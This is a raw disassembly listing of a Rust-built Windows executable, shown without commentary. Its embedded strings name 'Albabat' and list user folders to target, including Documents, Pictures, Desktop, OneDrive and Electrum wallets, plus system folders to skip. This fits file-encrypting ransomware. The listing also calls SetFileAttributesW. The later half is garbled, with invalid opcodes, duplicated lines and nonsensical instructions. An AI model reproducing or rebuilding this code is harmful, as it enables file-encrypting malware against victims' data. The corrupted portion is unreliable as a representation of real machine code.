mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
call fcn.140064380
mov rdi, rax
mov dword [rbp + 0x2f8], 0
mov qword [rbp + 0x2f0], 0
lea rdx, [rbp + 0x2f0]
mov r8d, 0xc
mov rcx, rax
call fcn.140064a50
mov eax, dword [rbp + 0x2f0]
mov ecx, dword [rbp + 0x2f3]
mov dword [rbp + 0x173], ecx
mov dword [rbp + 0x170], eax
mov eax, dword [rbp + 0x2f7]
movzx r12d, byte [rbp + 0x2fb]
shl r12, 0x20
or r12, rax
dec qword [rdi]
jne 0x1400338ed
dec qword [rdi + 8]
jne 0x1400338ed
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [rbp + 0x170]
mov ecx, dword [rbp + 0x173]
mov dword [rbp + 0x423], ecx
mov dword [rbp + 0x420], eax
movabs rax, 0xffffffffff
and r12, rax
mov eax, dword [rbp + 0x420]
mov ecx, dword [rbp + 0x423]
mov dword [rbp + 0x8c], eax
mov dword [rbp + 0x8f], ecx
mov dword [rbp + 0x93], r12d
shr r12, 0x20
mov byte [rbp + 0x97], r12b
lea rdx, str.AppDataRoamingElectrumwalletsAppDataRoamingJetBrainsAppDataLocalMicrosoftOneDriveC:Program_Files__x86_Steam_steamappscommonCounter_Strike_Global_OffensivegamecsgocfgD:Games_steamappscommonCounter_Strike_Global_OffensivegamecsgocfgD:Steam_steamappscommonCounter_Strike_Global_Offensivegamecsgocfg
lea rcx, [rbp + 0x2f0]
mov r8d, 6
call fcn.14001a860
mov rdi, qword [rbp + 0x2f0]
mov r8, qword [rbp + 0x300]
lea rcx, [rbp + 0x10]
mov rdx, rdi
call fcn.140023a70
cmp qword [rbp + 0x2f8], 0
je 0x14003398b
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmmword [rbp + 0x300], xmm7
movups xmmword [rbp + 0x2f0], xmm6
lea rbx, str..abbt
mov qword [rsp + 0x40], rbx
lea r14, str.ntuser.datThumbs.db.DS_Store
mov qword [rsp + 0x30], r14
lea r12, str.node_modules_cache_tkinter_vendor_
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x50], 0x500000
mov qword [rsp + 0x48], 0x47
mov qword [rsp + 0x38], 3
mov qword [rsp + 0x28], 4
lea rcx, [rbp + 0x170]
lea rdx, [rbp + 0x10]
lea r8, [rbp + 0x2f0]
lea r9, [rbp + 0x8c]
call fcn.14001eb70
mov r13, qword [rbp + 0x170]
test r13, r13
je 0x140033ce3
mov r12, qword [rbp + 0x178]
jmp 0x1400379bf
test r8, r8
je 0x1400332ae
lea rax, [r15 + r8]
mov rdx, r15
jmp 0x140033a44
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
mov rdx, rcx
cmp rcx, rax
je 0x1400332ae
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x140033a38
cmp r9b, 0xe0
jb 0x140033a2d
cmp r9b, 0xed
jne 0x140033a86
cmp rcx, rax
je 0x1400332ae
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x1400332ae
cmp byte [rdx + 1], 0x9f
ja 0x14003766f
add rdx, 3
mov rcx, rdx
jmp 0x140033a38
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x140033a38
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x140033a38
mov r12d, 1
mov rcx, r12
mov rdx, rdi
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x140033aef
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140037531
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 1
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140037531
mov qword [rbp + 0x458], rbx
mov qword [rbp + 0x98], r14
mov qword [rbp + 0x470], r15
mov byte [rax], 0x5c
mov qword [rsp + 0x20], 1
lea rdi, [rbp + 0x2f0]
mov rcx, rdi
mov qword [rbp + 0x468], r12
mov rdx, r12
mov r8, r13
mov qword [rbp + 0x2d8], rax
mov r9, rax
call fcn.1400453b0
mov qword [rbp + 0x358], 0
mov qword [rbp + 0x360], r13
mov word [rbp + 0x368], 1
xor ebx, ebx
lea r15, [rbp + 0x170]
nop word cs:[rax + rax]
mov r12, qword [rbp + 0x338]
mov rcx, r15
mov rdx, rdi
call fcn.140017220
cmp qword [rbp + 0x170], 0
je 0x140033bcf
mov r14, qword [rbp + 0x178]
mov rax, qword [rbp + 0x180]
mov rcx, qword [rbp + 0x358]
add r12, rcx
sub r14, rcx
mov qword [rbp + 0x358], rax
cmp byte [rbp + 0x369], 0
mov rbx, r12
je 0x140033b80
jmp 0x140033fbc
cmp byte [rbp + 0x369], 0
je 0x140033cc3
test rbx, rbx
jne 0x140033fbf
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str.srcutilitiescatch.rs
mov edx, 0x2b
call fcn.1400aa0a0
ud2
lea rcx, [rbp + 0x2f0]
call fcn.140029c90
movzx eax, byte [rbp + 0x30b]
mov r14, qword [rbp + 0x2f0]
cmp al, 2
jne 0x140033e0f
mov r12, qword [rbp + 0x2f8]
mov r13, r14
jmp 0x140033e90
mov eax, dword [rbp + 0x2f4]
mov qword [rbp + 0x450], rax
mov rbx, qword [rbp + 0x2f8]
mov rdi, qword [rbp + 0x300]
mov rax, qword [rbp + 0x308]
mov qword [rbp + 0x468], rax
movdqu xmm8, xmmword [rbp + 0x310]
mov rax, qword [rbp + 0x320]
mov qword [rbp + 0x440], rax
mov r12, rdi
and rdi, 0xffffffffffffff00
mov r15d, 4
jmp 0x140033ece
mov qword [rbp + 0x98], r14
lea rdx, [0x1400bbf70]
lea rcx, [rbp + 0x2f0]
mov r8d, 0x16
call fcn.14001a860
mov rax, qword [rbp + 0x300]
mov qword [rbx + 0x10], rax
movups xmm0, xmmword [rbp + 0x2f0]
movups xmmword [rbx], xmm0
mov byte [rsi + 0x68], 0
jmp 0x14003239a
cmp byte [rbp + 0x368], 0
je 0x140033f98
mov r12, qword [rbp + 0x358]
mov rax, qword [rbp + 0x360]
jmp 0x140033faf
mov r15, qword [rbp + 0x178]
movups xmmword [rbp + 0x300], xmm7
movups xmmword [rbp + 0x2f0], xmm6
lea rcx, [rbp + 0x170]
lea rdx, [rbp + 0x2f0]
lea r8, [rbp + 0x8c]
call fcn.14001e740
mov r13, qword [rbp + 0x170]
test r13, r13
jne 0x140033dfc
mov rax, qword [rbp + 0x178]
mov qword [rbp + 0x468], rax
lea rdx, str.DocumentsDocumentosOneDriveDocumentsOneDriveDocumentosPicturesImagesImgenesImagensOneDrivePicturesOneDriveImagesOneDriveImgenesOneDriveImagensOneDriverea_de_TrabalhoOneDriverea_de_trabajoOneDriveDesktopOneDriveContactsOneDriveContactosOneDriveCofre_PessoalOneDrivePersonal_SafeD:PicturesD:ImagesD:ImgenesD:ImagensD:DocumentsD:DocumentosC:UsersPublicDocumentsC:UsersPublicPicturesCLionProjectsPyCharmProjectsIntelliJProjectsRustroverProjectsOneDriveA:B:E:F:G:H:I:J:X:D:DownloadsD:Downloads
lea rcx, [rbp + 0x2f0]
mov r8d, 0x2e
call fcn.14001a860
mov rdi, qword [rbp + 0x2f0]
mov r8, qword [rbp + 0x300]
lea rcx, [rbp - 8]
mov rdx, rdi
call fcn.140023a70
cmp qword [rbp + 0x2f8], 0
je 0x140033d7f
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmmword [rbp + 0x300], xmm7
movups xmmword [rbp + 0x2f0], xmm6
mov qword [rsp + 0x40], rbx
lea rax, [0x1400d6988]
mov qword [rsp + 0x30], rax
lea rax, str.Albabat_Searches_AppData_Program_Files_ProgramData_All_Users_Windows__WinREAgent_System_Volume_Information_steamapps_ansel_tmp_tcl_target_venv_env_Mozilla_Chrome_pypoetry_vimfiles_viminfo_site_packages_scoop_go_
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x50], 0x500000
mov qword [rsp + 0x48], 0x47
mov qword [rsp + 0x38], 0xa
mov qword [rsp + 0x28], 0x1c
lea rcx, [rbp + 0x170]
lea rdx, [rbp - 8]
lea r8, [rbp + 0x2f0]
lea r9, [rbp + 0x8c]
call fcn.14001eb70
mov r13, qword [rbp + 0x170]
test r13, r13
je 0x140035751
mov r12, qword [rbp + 0x178]
mov r15, qword [rbp + 0x470]
jmp 0x1400379bf
mov rdi, qword [rbp + 0x2f8]
mov rcx, qword [rbp + 0x300]
mov edx, dword [rbp + 0x307]
mov dword [rbp + 0x187], edx
mov qword [rbp + 0x180], rcx
mov ecx, dword [rbp + 0x30c]
mov qword [rbp + 0x170], r14
mov qword [rbp + 0x178], rdi
mov byte [rbp + 0x18b], al
mov dword [rbp + 0x18c], ecx
mov byte [rbp + 0x188], 1
lea rcx, [rbp + 0x170]
call fcn.14002cb70
test rax, rax
je 0x1400348fb
mov r13, rax
mov r12, rdx
test rdi, rdi
je 0x140033e90
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rbp + 0x2a8]
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rbp + 0x458], 0
mov rdi, qword [rbp + 0x450]
jne 0x14003323f
jmp 0x140033255
mov eax, 0xe
mov ebx, 0xe
movq xmm8, rax
xor r14d, r14d
mov qword [rbp + 0x450], rax
xor edi, edi
movzx eax, byte [0x1400f92c0]
mov ecx, 0x40
mov edx, 8
call fcn.1400515f0
test rax, rax
je 0x140037542
mov r13, rax
movzx eax, r12b
or rdi, rax
mov qword [r13], r15
mov dword [r13 + 8], r14d
mov rax, qword [rbp + 0x450]
mov dword [r13 + 0xc], eax
mov qword [r13 + 0x10], rbx
mov qword [r13 + 0x18], rdi
mov rax, qword [rbp + 0x468]
mov qword [r13 + 0x20], rax
movdqu xmmword [r13 + 0x28], xmm8
mov rax, qword [rbp + 0x440]
mov qword [r13 + 0x38], rax
mov rcx, qword [0x1400f91f8]
mov rdi, qword [sym.imp.kernel32.dll_HeapFree]
xor edx, edx
mov r8, qword [rbp + 0x458]
call rdi
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x2a0]
call rdi
lea r12, [0x1400b2848]
mov r15, qword [rbp + 0x470]
mov rbx, qword [rbp + 0x2d8]
dec qword [rbx]
jne 0x1400379bf
dec qword [rbx + 8]
jne 0x1400379bf
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400379bf
mov r12, qword [rbp + 0x358]
mov rax, qword [rbp + 0x360]
cmp rax, r12
je 0x140033bdc
sub rax, r12
add r12, qword [rbp + 0x338]
mov r14, rax
mov rbx, r12
test r14, r14
mov rdi, qword [rbp + 0x468]
je 0x140033ffc
js 0x14003735b
movzx eax, byte [0x1400f92c0]
mov edx, 1
mov rcx, r14
call fcn.1400515f0
mov rcx, rax
test rax, rax
jne 0x140034001
mov ecx, 1
mov rdx, r14
call fcn.1400a9e00
ud2
mov ecx, 1
mov qword [rbp + 0x450], rcx
mov rdx, rbx
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
test r13, r13
je 0x14003402a
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x458], 0
je 0x14003404a
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x2a0]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x2d8]
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp + 0x2f0]
call fcn.140081c70
cmp byte [rbp + 0x308], 2
je 0x140037341
mov rax, qword [rbp + 0x2f0]
mov qword [rbp + 0x458], rax
mov rdi, qword [rbp + 0x2f8]
mov rax, qword [rbp + 0x300]
mov qword [rbp + 0x2d8], rax
lea rcx, [rbp + 0x2f0]
call fcn.140081c70
cmp byte [rbp + 0x308], 2
je 0x140037341
mov rbx, qword [rbp + 0x2f0]
mov rax, qword [rbp + 0x2f8]
mov qword [rbp + 0x2a0], rax
mov r8, qword [rbp + 0x300]
lea rcx, [rbp + 0x2f0]
mov rdx, rbx
call fcn.140043490
xor edx, edx
cmp qword [rbp + 0x2f0], 0
mov r9, qword [rbp + 0x2f8]
cmove rdx, r9
jne 0x140037642
mov qword [rbp + 0x68], rbx
mov qword [rbp + 0x440], rdi
mov rax, qword [rbp + 0x300]
lea r8, [r9 + rax]
mov cl, 1
test rax, rax
je 0x140034259
xor r12d, r12d
lea r11, [0x1400eb47f]
xor r10d, r10d
jmp 0x140034149
movzx edi, dil
test byte [rdi + r11], 1
je 0x140034252
nop word [rax + rax]
cmp r9, r8
je 0x14003437d
mov rbx, r9
mov rax, r10
movzx r9d, byte [r9]
movzx edi, r9b
test dil, dil
js 0x140034162
lea r9, [rbx + 1]
jmp 0x1400341e0
mov r10d, edi
and r10d, 0x1f
movzx r13d, byte [rbx + 1]
and r13d, 0x3f
cmp dil, 0xdf
jbe 0x1400341b8
movzx r15d, byte [rbx + 2]
shl r13d, 6
and r15d, 0x3f
or r15d, r13d
cmp r9b, 0xf0
jb 0x1400341c8
lea r9, [rbx + 4]
movzx edi, byte [rbx + 3]
and r10d, 7
shl r10d, 0x12
shl r15d, 6
and edi, 0x3f
or edi, r15d
or edi, r10d
cmp edi, 0x110000
jne 0x1400341e0
jmp 0x140034a7b
lea r9, [rbx + 2]
shl r10d, 6
or r10d, r13d
mov edi, r10d
jmp 0x1400341e0
lea r9, [rbx + 3]
shl r10d, 0xc
or r15d, r10d
mov edi, r15d
nop word cs:[rax + rax]
mov r10, r9
sub r10, rbx
add r10, rax
lea ebx, [rdi - 9]
cmp ebx, 5
jb 0x140034140
cmp edi, 0x20
je 0x140034140
cmp edi, 0x80
jb 0x140034252
mov ebx, edi
shr ebx, 8
cmp ebx, 0x1f
jg 0x14003422b
test ebx, ebx
je 0x14003412b
cmp ebx, 0x16
jne 0x140034252
cmp edi, 0x1680
je 0x140034140
cmp ebx, 0x20
je 0x140034243
cmp ebx, 0x30
jne 0x140034252
cmp edi, 0x3000
je 0x140034140
movzx edi, dil
test byte [rdi + r11], 2
jne 0x140034140
xor ecx, ecx
mov r12, r10
jmp 0x14003425f
xor r10d, r10d
xor r12d, r12d
cmp r9, r8
je 0x140034379
mov rdi, r8
movzx ebx, byte [r8 - 1]
test bl, bl
js 0x14003427d
lea r8, [rdi - 1]
movzx ebx, bl
jmp 0x1400342e3
movzx r15d, byte [rdi - 2]
cmp r15b, 0xc0
jge 0x1400342ad
movzx r13d, byte [rdi - 3]
cmp r13b, 0xc0
jge 0x1400342b7
lea r8, [rdi - 4]
movzx r11d, byte [rdi - 4]
and r11d, 7
shl r11d, 6
and r13d, 0x3f
or r13d, r11d
jmp 0x1400342bf
lea r8, [rdi - 2]
and r15d, 0x1f
jmp 0x1400342ca
lea r8, [rdi - 3]
and r13d, 0xf
shl r13d, 6
and r15d, 0x3f
or r15d, r13d
shl r15d, 6
and bl, 0x3f
movzx ebx, bl
or ebx, r15d
cmp ebx, 0x110000
je 0x140034379
lea r11d, [rbx - 9]
cmp r11d, 5
jb 0x14003425f
cmp ebx, 0x20
je 0x14003425f
cmp ebx, 0x80
jb 0x140034370
mov r15d, ebx
shr r15d, 8
cmp r15d, 0x1f
jg 0x140034328
test r15d, r15d
je 0x140034342
cmp r15d, 0x16
jne 0x140034370
cmp r15d, 0x20
je 0x14003435a
cmp r15d, 0x30
jne 0x140034370
movzx r11d, bl
lea rbx, [0x1400eb47f]
test byte [r11 + rbx], 1
jne 0x14003425f
movzx r11d, bl
lea rbx, [0x1400eb47f]
test byte [r11 + rbx], 2
jne 0x14003425f
sub r10, r9
add r10, rdi
mov r12, r10
test cl, cl
je 0x14003437f
xor eax, eax
add rdx, rax
sub r12, rax
mov qword [rsp + 0x20], 1
lea r9, [0x1400e9bc8]
lea rdi, [rbp + 0x170]
mov rcx, rdi
mov r8, r12
call fcn.1400453b0
mov qword [rbp + 0x1d8], 0
mov qword [rbp + 0x1e0], r12
mov word [rbp + 0x1e8], 1
mov r15, qword [rbp + 0x1b8]
lea rcx, [rbp + 0x2f0]
mov rdx, rdi
call fcn.140017220
cmp qword [rbp + 0x2f0], 0
je 0x1400344f0
mov rdi, qword [rbp + 0x2f8]
mov rax, qword [rbp + 0x300]
mov rcx, qword [rbp + 0x1d8]
add r15, rcx
sub rdi, rcx
mov qword [rbp + 0x1d8], rax
movzx eax, byte [0x1400f92c0]
mov ecx, 0x40
mov edx, 8
call fcn.1400515f0
test rax, rax
je 0x140037542
mov rbx, rax
mov qword [rax], r15
mov qword [rax + 8], rdi
mov qword [rbp + 0x2a8], rax
mov qword [rbp + 0x2b0], 4
mov qword [rbp + 0x2b8], 1
movups xmm0, xmmword [rbp + 0x1e0]
movaps xmmword [rbp + 0x360], xmm0
movups xmm0, xmmword [rbp + 0x1d0]
movaps xmmword [rbp + 0x350], xmm0
movups xmm0, xmmword [rbp + 0x1c0]
movaps xmmword [rbp + 0x340], xmm0
movups xmm0, xmmword [rbp + 0x1b0]
movaps xmmword [rbp + 0x330], xmm0
movdqu xmm0, xmmword [rbp + 0x170]
movdqu xmm1, xmmword [rbp + 0x180]
movdqu xmm2, xmmword [rbp + 0x190]
movdqu xmm3, xmmword [rbp + 0x1a0]
movdqa xmmword [rbp + 0x320], xmm3
movdqa xmmword [rbp + 0x310], xmm2
movdqa xmmword [rbp + 0x300], xmm1
movdqa xmmword [rbp + 0x2f0], xmm0
mov r13d, 1
cmp byte [rbp + 0x369], 0
je 0x1400347e1
mov r12, qword [rbp + 0x2a8]
mov rax, qword [rbp + 0x2b0]
mov qword [rbp + 0x448], rax
jmp 0x14003450f
cmp byte [rbp + 0x1e9], 0
je 0x1400348db
mov r12d, 8
xor eax, eax
mov qword [rbp + 0x448], rax
xor r13d, r13d
lea rdx, str.APPDATA
lea rcx, [rbp + 0x2f0]
mov r8d, 7
call fcn.140080100
movzx eax, byte [rbp + 0x308]
cmp al, 2
je 0x14003765c
mov rbx, qword [rbp + 0x2f0]
mov rdi, qword [rbp + 0x2f8]
mov r8, qword [rbp + 0x300]
test al, al
je 0x140034743
mov qword [rsp + 0x20], r14
lea rcx, [rbp + 0xa0]
mov rdx, rbx
mov r9, qword [rbp + 0x450]
call fcn.140086540
test rdi, rdi
je 0x140034586
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
test r13, r13
je 0x140036753
test r8, r8
je 0x140034554
lea rax, [rbp + 0x309]
lea rcx, [rbx + r8]
mov r9, rbx
jmp 0x140034773
lea rdx, [r9 + 1]
movzx r10d, byte [r9]
test r10b, r10b
jns 0x140034767
mov edi, 0x18
jmp 0x14003483b
mov r15, qword [rbp + 0x338]
lea rcx, [rbp + 0xa0]
lea rdx, [rbp + 0x2f0]
call fcn.140017220
cmp qword [rbp + 0xa0], 0
jne 0x1400347e8
mov byte [rbp + 0x1e9], 1
cmp byte [rbp + 0x1e8], 0
je 0x140034956
mov r15, qword [rbp + 0x1d8]
mov rdi, qword [rbp + 0x1e0]
jmp 0x14003496d
test rdi, rdi
je 0x140034919
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rbp + 0x2a8]
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rbp + 0x458], 0
je 0x140034942
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x468]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rbp + 0x450]
mov byte [rcx], 1
call fcn.14000c090
jmp 0x140033269
mov r15, qword [rbp + 0x1d8]
mov rdi, qword [rbp + 0x1e0]
cmp rdi, r15
je 0x1400344fd
sub rdi, r15
add r15, qword [rbp + 0x1b8]
jmp 0x140034408
mov r9, qword [rbp + 0x318]
cmp r9, 0xfffffff
ja 0x140035fd3
mov eax, r9d
lea rcx, [rax*8]
movq xmm0, rcx
pand xmm0, xmmword [0x1400b06b0]
mov qword [rbp + 0x468], r8
mov qword [rbp + 0x2f0], r8
mov qword [rbp + 0x2f8], r9
mov qword [rbp + 0x300], rax
movdqu xmmword [rbp + 0x308], xmm0
movups xmm0, xmmword [0x1400b1358]
movups xmmword [rbp + 0x318], xmm0
movups xmm0, xmmword [0x1400b1368]
movups xmmword [rbp + 0x328], xmm0
movups xmm0, xmmword [0x1400b1378]
movups xmmword [rbp + 0x338], xmm0
movdqu xmm0, xmmword [0x1400b1388]
movdqu xmmword [rbp + 0x348], xmm0
mov rax, qword [0x1400b1398]
mov qword [rbp + 0x358], rax
lea rcx, [rbp + 0x170]
lea rdx, [rbp + 0x2f0]
call fcn.14006b810
mov rdx, qword [rbp + 0x170]
cmp rdx, 2
jne 0x14003604d
mov r14, qword [rbp + 0x178]
mov rbx, qword [rbp + 0x180]
mov rcx, r14
shr rcx, 0x20
mov r9, qword [rbp + 0x188]
mov r12, qword [rbp + 0x190]
movdqu xmm8, xmmword [rbp + 0x198]
mov r10, qword [rbp + 0x1a8]
mov edx, 2
mov r15d, 3
jmp 0x1400360a5
mov r10, rax
jmp 0x14003425f
add ecx, ebp
movsd dword [rdi], dword [rsi]
add byte [rax], al
add byte [rcx], dh
inc dword [rbp + 0x31]
in eax, dx
xor r10d, r10d
xor ebx, ebx
xor ecx, ecx
jmp 0x140034bb9
invalid
or edx, edx
cmp cl, 0xf0
jb 0x140034b53
lea rbx, [r8 + 4]
movzx ecx, byte [r8 + 3]
and eax, 7
shl eax, 0x12
shl r10d, 6
loop 0x140034b3e
loop 0x140034b3e
and ecx, 0x3f
or ecx, r10d
or ecx, eax
mov r10d, ecx
jmp 0x140034b5d
lea rbx, [r8 + 3]
shl eax, 0xc
add eax, ecx
loopne 0x140034b66
or r10d, eax
cmp r10d, 0xffff
jbe 0x140034b91
lea ecx, [r10 + 0xff0000]
shr ecx, 0xa
or ecx, 0xd800
add al, bl
add byte [rax], al
add al, bl
add byte [rax], al
and r10d, 0x3ff
or r10d, 0xdc00
mov eax, 2
mov edi, r10d
mov r10d, ecx
jmp 0x140034b98
mov eax, 1
xor edi, edi
mov rdx, r9
sub rdx, rbx
add rdx, 3
mov rcx, 0xffffffffffffffff
cmovae rcx, rdx
shr rcx, 2
add rcx, rax
add ecx, eax
mov r13w, 1
mov qword [rbp + 0x48], r10
mov qword [rbp + 0x468], r9
cmp rcx, 4
stc
add al, 0x41
mov esp, 3
stc
add al, 0x41
mov esp, 3
cmovae r12, rcx
movabs rax, 0x3fffffffffffffff
cmp r12, rax
jae 0x14003735b
invalid
add byte [rax], al
invalid
lea r15, [r12*2 + 2]
movzx eax, byte [0x1400f92c0]
mov edx, 2
mov rcx, r15
call fcn.1400515f0
leave
add dword [rax], eax
leave
add dword [rax], eax
test rax, rax
je 0x140037660
inc r12
mov rcx, qword [rbp + 0x48]
mov word [rax], cx
mov qword [rbp + 0x2f0], rax
mov qword [rbp + 0x2f8], r12
mov qword [rbp + 0x300], 1
mov r12d, 1
mov r9, qword [rbp + 0x468]
jmp 0x140034c63
mov esp, 0x89000000
iretd
mov rbx, qword [rbp + 0x2f8]
mov rcx, rdi
mov edx, 2
call sub.kernel32.dll_SetFileAttributesW
test rbx, rbx
je 0x140034ded
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x40], 0
mov r12, qword [rbp + 0x38]
je 0x140034e0e
invalid
invalid
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x2e8]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rbp + 0xa0]
add byte [rax], al
add byte [rbx + rcx*4 - 0x73], cl
mov al, 0
add byte [rax], al
add byte [rax], al
mov r9, qword [rbp + 0xb0]
mov rcx, qword [rbp + 0x458]
mov rdx, qword [rbp + 0x2d8]
mov r8, rbx
mov eax, ebx
mov eax, ebx
call fcn.140096730
test rax, rax
je 0x140034e5e
invalid
invalid
mov rdi, rax
mov r15b, 2
cmp qword [rbp + 0xa8], 0
je 0x140034e59
mov rcx, qword [0x1400f91f8]
or al, 0
xor edx, edx
mov r8, rbx
fdivr st(7)
adc eax, 0x7b5af
fdivr st(7)
adc eax, 0x7b5af
mov rbx, rdi
jmp 0x140034e8d
lea rdi, [rbp + 0xa8]
call fcn.14007c4b0
jbe 0x140034e6d
add bl, dh
movq mm0, qword [rdi]
add byte [rax], al
add al, ch
jbe 0x140034e6d
jbe 0x140034e6d
jbe 0x140034e6d
add bl, dh
movq mm0, qword [rdi]
invalid
movdqa xmmword [rbp + 0x70], xmm0
movzx r15d, byte [rbp + 0xb8]
jo 0x140034eb8
movzx edi, byte [rbp + 0xb8]
mov eax, dword [rbp + 0xb9]
mov dword [rbp + 0x50], eax
mov eax, dword [rbp + 0xbc]
mov esp, 0x89000000
push r11
mov esp, 0x89000000
push r11
cmp qword [rbp + 0x448], 0
mov rdi, qword [rbp + 0x440]
je 0x140034eb0
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
ror byte [rbp - 0x77], cl
loopne 0x140034eaa
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x7b558
cmp qword [rbp + 0x2a0], 0
je 0x140034ecd
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x68]
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
invalid
ror byte [rbx + rcx*4 + 0x45], cl
push 0xffffffffb53b15ff
invalid
cmp r15b, 2
jne 0x140034f1c
mov rcx, rbx
call fcn.140007e00
and eax, 0x49fffd2f
mov ebp, eax
and eax, 0x49fffd2f
mov ebp, eax
test rdi, rdi
je 0x140034ef9
mov rcx, qword [0x1400f91f8]
invalid
or al, 0
xor edx, edx
mov r8, qword [rbp + 0x458]
call qword [sym.imp.kernel32.dll_HeapFree]
lea r12, [0x1400b0c00]
test r14, r14
invalid
mov r15, qword [rbp + 0x470]
mov r8, qword [rbp + 0x450]
jne 0x1400378bd
invalid
add cl, ch
mov al, 0x29
add byte [rax], al
invalid
jmp 0x1400378cc
add byte [rdi], cl
sub byte [rbp + 0x70], al
movaps xmm0, xmmword [rbp + 0x70]
movaps xmmword [rbp + 0x2f0], xmm0
mov eax, dword [rbp + 0x50]
mov ecx, dword [rbp + 0x53]
add byte [rbx + 0x4d8b5045], cl
push rbx
mov dword [rbp + 0x173], ecx
mov dword [rbp + 0x170], eax
mov byte [rsi + 0x40], 1
mov qword [rsi + 0x20], rbx
movaps xmm0, xmmword [rbp + 0x2f0]
sub byte [rbp + 0x2f0], al
add byte [rcx + 0x17085], cl
add dh, al
add dword [rax - 0x77], ecx
add dword [rax - 0x77], ecx
pop rsi
and byte [rdi], cl
sub byte [rbp + 0x2f0], al
test eax, esi
add al, byte [rax]
add byte [rdi], cl
adc dword [rsi + 0x28], eax
movups xmmword [rsi + 0x28], xmm0
mov byte [rsi + 0x38], r15b
jle 0x140034f88
mov eax, dword [rbp + 0x170]
mov ecx, dword [rbp + 0x173]
lea esi, [rbx + 1]
add byte [rax], al
lea esi, [rbx + 1]
add byte [rax], al
mov dword [rsi + 0x39], eax
mov dword [rsi + 0x3c], ecx
test rdi, rdi
je 0x140034f7d
cmp dword [rcx - 0x7ab7c3b2], ecx
push qword [rsi + rdx + 0x48]
mov ecx, dword [0x1400f91f8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x458]
add bh, bh
adc eax, 0x7b48b
invalid
invalid
add bh, bh
adc eax, 0x7b48b
invalid
invalid
invalid
test r14, r14
mov r15, qword [rbp + 0x470]
je 0x140034f9f
invalid
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x450]
add byte [rax], al
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x7b469
add al, 0
add bh, bh
adc eax, 0x7b469
add byte [rax - 0x73], cl
pop rsi
mov byte [rsi + 0x48], 0
lea rbx, [rsi + 0x48]
mov byte [rsi + 0x48], 0
mov r14, qword [rbp + 0x98]
add byte [rax], al
add dh, al
mov byte [rsi + 0x49], 0
invalid
mov dh, 5
invalid
mov byte [rsi + 0x49], 0
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x140034fde
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
and eax, 0x480007b4
test eax, eax
je 0x1400372e5
mov rcx, rax
mov qword [0x1400f91f8], rax
ror dword [rax - 0x77], 5
sbb al, byte [rdx + 0xc]
add byte [rcx - 0x48], al
and byte [rax], al
add byte [rax], al
invalid
mov r8d, 0x20
add byte [rcx], dh
sar bh, cl
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
adc eax, 0x7b40c
test rax, rax
je 0x1400372e5
and al, byte [rax]
invalid
movups xmm0, xmmword [0x1400bba88]
movups xmmword [rax + 0x10], xmm0
